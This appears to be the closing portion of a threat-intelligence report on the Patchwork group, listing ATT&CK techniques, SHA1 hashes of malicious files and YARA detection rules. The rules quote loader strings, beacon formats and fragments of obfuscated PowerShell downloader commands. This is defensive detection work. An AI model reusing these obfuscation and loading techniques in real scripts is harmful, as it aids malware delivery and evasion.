| Execution | TA0002 | T1204.002 | User Execution: Malicious File |
| Persistence | TA0003 | T1053.005 | Scheduled Task/Job: Scheduled Task |
| Persistence | TA0003 | T1136.001 | Create Account: Local Account |
| Persistence | TA0003 | T1505.003 | Server Software Component: Web Shell |
| Stealth | TA0005 | T1027.003 | Obfuscated Files or Information: Steganography |
| Stealth | TA0005 | T1027.010 | Obfuscated Files or Information: Command Obfuscation |
| Stealth | TA0005 | T1027.013 | Obfuscated Files or Information: Encrypted/Encoded File |
| Stealth | TA0005 | T1036.004 | Masquerading: Masquerade Task or Service |
| Stealth | TA0005 | T1036.005 | Masquerading: Match Legitimate Resource Name or Location |
| Stealth | TA0005 | T1070.004 | Indicator Removal: File Deletion |
| Stealth | TA0005 | T1140 | Deobfuscate/Decode Files or Information |
| Stealth | TA0005 | T1202 | Indirect Command Execution |
| Stealth | TA0005 | T1216 | System Script Proxy Execution |
| Stealth | TA0005 | T1564.003 | Hide Artifacts: Hidden Window |
| Stealth | TA0005 | T1574.001 | Hijack Execution Flow: DLL |
| Stealth | TA0005 | T1620 | Reflective Code Loading |
| Defense Impairment | TA0112 | T1112 | Modify Registry |
| Defense Impairment | TA0112 | T1553.004 | Subvert Trust Controls: Install Root Certificate |
| Credential Access | TA0006 | T1110.001 | Brute Force: Password Guessing |
| Credential Access | TA0006 | T1110.003 | Brute Force: Password Spraying |
| Credential Access | TA0006 | T1110.004 | Brute Force: Credential Stuffing |
| Credential Access | TA0006 | T1552.001 | Unsecured Credentials: Credentials In Files |
| Credential Access | TA0006 | T1557 | Adversary-in-the-Middle |
| Discovery | TA0007 | T1082 | System Information Discovery |
| Discovery | TA0007 | T1518 | Software Discovery |
| Discovery | TA0007 | T1614 | System Location Discovery |
| Lateral Movement | TA0008 | T1550.004 | Use Alternate Authentication Material: Web Session Cookie |
| Command and Control | TA0011 | T1071.001 | Application Layer Protocol: Web Protocols |
| Command and Control | TA0011 | T1090 | Proxy |
| Command and Control | TA0011 | T1105 | Ingress Tool Transfer |
| Command and Control | TA0011 | T1665 | Hide Infrastructure |
| Exfiltration | TA0010 | T1048.003 | Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol |
Note: Some of the domains listed below imitate the names of legitimate organizations. These organizations are not affiliated with the malicious activity described in this research.
| Hash Type | Hash | Observed Filename |
|---|---|---|
| SHA1 | 69d8241d3539fa4b711117efa808ebb500ade31b | stage2.dll |
| SHA1 | 874976e94f1b84962b17af984e7068b764a21bbc | cef_frame.dll |
| SHA1 | 2d060b0cb526c8745df9b68fe99efd100bc70e9f | AIRMed26.lnk |
| SHA1 | 15db0b668cb3b080c47be1a7777571676d4d8ab4 | Suspention.lnk |
| SHA1 | 3d7b9ae795e3b22c0f3ff3fbb8751caec28d3a28 | cef_frame.dll |
| SHA1 | 6678e9c0986a7fcc75063c78e143bf14e42c6286 | P26SPF211985.lnk |
| SHA1 | 94e4d789833fcc837670840ac24bee6d52dd781c | jli.dll |
| SHA1 | 84e787d896c0bd00ad0650abd191d561c4f4ce51 | stb7cn3q.exe |
| SHA1 | 1d49b4df1ac6ef65dffc2e0eddeabb5b80bf707f | tdc4ro4c1.exe |
| SHA1 | b776f4ec12ee31fd117f01b7edd85d993c347fa9 | Bank_Requisition.lnk |
| SHA1 | 18ca5823ac1b7b44757a37400105f1ef55235018 | cef_frame.dll |
| SHA1 | acdf6fa6ebcb80beb8039eb849cb473d00f1e56d | FAKE_CAPTCHA.lnk |
| SHA1 | 83f411afe3581f38358d5a2b0271b4499459f8e4 | 84578.lnk |
| SHA1 | 69427ee81435789bd3ae43e145d92a0dd8c04adb | Advisory_2026.rar |
| SHA1 | 241cd58e0585aa96280c88a0a9ce3d642e750481 | ZONG.lnk |
| SHA1 | 35d596a1486b33f696731b41471b87d9db966724 | zong.rar |
| SHA1 | cb785aeab82bb7c975e26b761c327ca03709e995 | libcef.dll |
| SHA1 | d4e28b88a619e8f7fa3a4723884db54dca304a27 | ICASSE2026.lnk |
| SHA1 | 46cf5f300a695122cd8eec090fcfa079aacd2ec8 | Protego.exe |
| SHA1 | a6572a4da64e26325f360a6b0d6d6aa6d6f6474c | msdtctm.dll |
| SHA1 | 3614f3f10b5b05c8f06953ef21bb8f36a64b8da9 | SystemSettings.dll |
| SHA1 | b1e2414e36782fd49fd8cbc6524bdee8f0e4c907 | 24857.exe |
| SHA1 | fd4133763a260306a1f07828d4c2dbf183d0cb3e | 3viy06pm.exe |
| SHA1 | 02ddad8322c70ade926b6d80172135de64e4c01b | libvlc.dzlzlz |
| SHA1 | f751bf34c00123759f7435d1ecdf7c247f5a90f1 | ohlcjxml.exe |
| SHA1 | 5cf716dc70a0de1656b933c5ac2b1b56bae29f7f | Report_2026.lnk |
| SHA1 | b689b848321247d6b395d6710dd25c8344e2b38a | SystemSettings.dll |
| SHA1 | c5d710c493b149ce3a923c696c4b8d8a76e46c2a | klwhwpng4.exe |
| SHA1 | 08a14fd3331ba50be7ff8f08f58ddc14247bd32d | b1yr629n.exe |
| SHA1 | e78282612070cd5e9a196ae618ea39cff0981adb | SAMLIB.dll |
| SHA1 | 47d89722d4b0af1ed8017d85966ec4912ab420ae | Application_Form.lnk |
| SHA1 | db82d7c9d3c33ff0e074ff2b3a7809b3d80f3047 | xzn7v8.exe |
| SHA1 | da985b827c9555d8bb177f74617757b2209b3a99 | 2bqr1sz.exe |
| SHA1 | 6f2aa2fb7f56280443a31e88fb6609a5bee2ea0c | PICT.lnk |
| SHA1 | 5d97d28e274551cec25e6292847336fa01c172d8 | SAMLIB.dll |
| SHA1 | eb05da71eeeeb029106a19bd589f947ba7707e70 | PICT.rar |
rule win_loader_patchwork_cef_frame {
meta:
author = "Group-IB Threat Intelligence"
company = "Group-IB"
date = "2026-11-30"
description = "Detects Patchwork cef_frame.dll loader that decrypts an embedded implant with AES through Windows CryptoAPI"
sample = "2e96a97fe4567644496707b21e8f56dab4d73ce2c233ae468dc9e51bb6bd7225"
strings:
$s1 = "loader.dll"
$s2 = "loader.cpp"
$s3 = "TbsAppInstance"
$s4 = "GetObjectLog"
$s5 = "CryptDecrypt"
$s6 = "CryptImportKey"
condition:
uint16(0) == 0x5A4D and filesize < 5MB and $s3 and 3 of ($s*)
}
rule win_loader_patchwork_libcef {
meta:
author = "Group-IB Threat Intelligence"
company = "Group-IB"
date = "2026-11-30"
description = "Detects Patchwork fake libcef.dll loader that decodes its implant from data appended to Nvidia.png"
sample = "9e97ed6a733f9592bbd3d27af754967dd2c421b0ea4d0a17c0134e21e545f656"
strings:
$s1 = "C:\\Windows\\Tasks\\Nvidia.png" wide ascii
$s2 = "N1D1A#2026C3FXVK" wide ascii
$s3 = "cef_string_utf8_to_utf16"
condition:
uint16(0) == 0x5A4D and filesize < 20MB and ($s2 or ($s1 and $s3))
}
rule win_trojan_patchwork_implant {
meta:
author = "Group-IB Threat Intelligence"
company = "Group-IB"
date = "2026-11-30"
description = "Detects the Patchwork in-memory implant (x86 and x64) by its beacon format strings and anti-analysis checks. The anti-analysis strings are shared with the 2026 builds of the group's .NET backdoor, so those may match as well"
sample = "5dc55f319326417ef66a69045feee207a062b4120a74877e3f4f30eaf61ae5cf"
strings:
$b1 = "%s=%s$!!$%s$!!$%s$!!$%s$!!$%s$!!$%s$!!$"
$b2 = "%s=33up$!!$%s$!!$%s"
$b3 = "%s=uep$@$%s$@$%s"
$b4 = "%s=error@$$@%s@$$@%s"
$b5 = "%s=%s!$$$!%s!$$$!%s"
$a1 = "A.N.T.I.O.F"
$a2 = "C:\\sandbox\\"
$a3 = "Reverse DNS for %s: %s"
condition:
2 of ($b*) or (1 of ($b*) and 2 of ($a*))
}
rule lnk_downloader_patchwork_powershell {
meta:
author = "Group-IB Threat Intelligence"
company = "Group-IB"
date = "2026-11-30"
description = "Detects a Patchwork LNK file that runs an obfuscated PowerShell command with cmdlets split by empty quotes"
sample = "be0a57397f20f03e642357dbb33ed0455d18cd999e94f8547bc3202e3d73d3ac"
strings:
$s1 = "iw''r" wide ascii
$s2 = "s''ap''s" wide ascii
$s3 = "r''en" wide ascii
$s4 = "c''p''i" wide ascii
$s5 = "(g''cm sch*)" wide ascii
$s6 = "/c''r''e''a''te" wide ascii
condition:
uint32(0) == 0x0000004C and filesize < 100KB and 3 of ($s*)
}
rule win_downloader_patchwork_scrambled_extensions {
meta:
author = "Group-IB Threat Intelligence"
company = "Group-IB"
date = "2026-11-30"
description = "Detects the Patchwork launcher variant that locates PowerShell through a wildcard and downloads files with padded extensions"
strings:
$s1 = "where p*s*ll.?x?" wide ascii nocase
$s2 = ".ezxzez" wide ascii
$s3 = ".dylyly" wide ascii
$s4 = ".dzlzlz" wide ascii
$s5 = "-replace 'z',''" wide ascii
$s6 = "-replace 'y',''" wide ascii
condition:
uint32(0) == 0x0000004C and filesize < 100KB and $s1 and 2 of ($s2, $s3, $s4, $s5, $s6)
}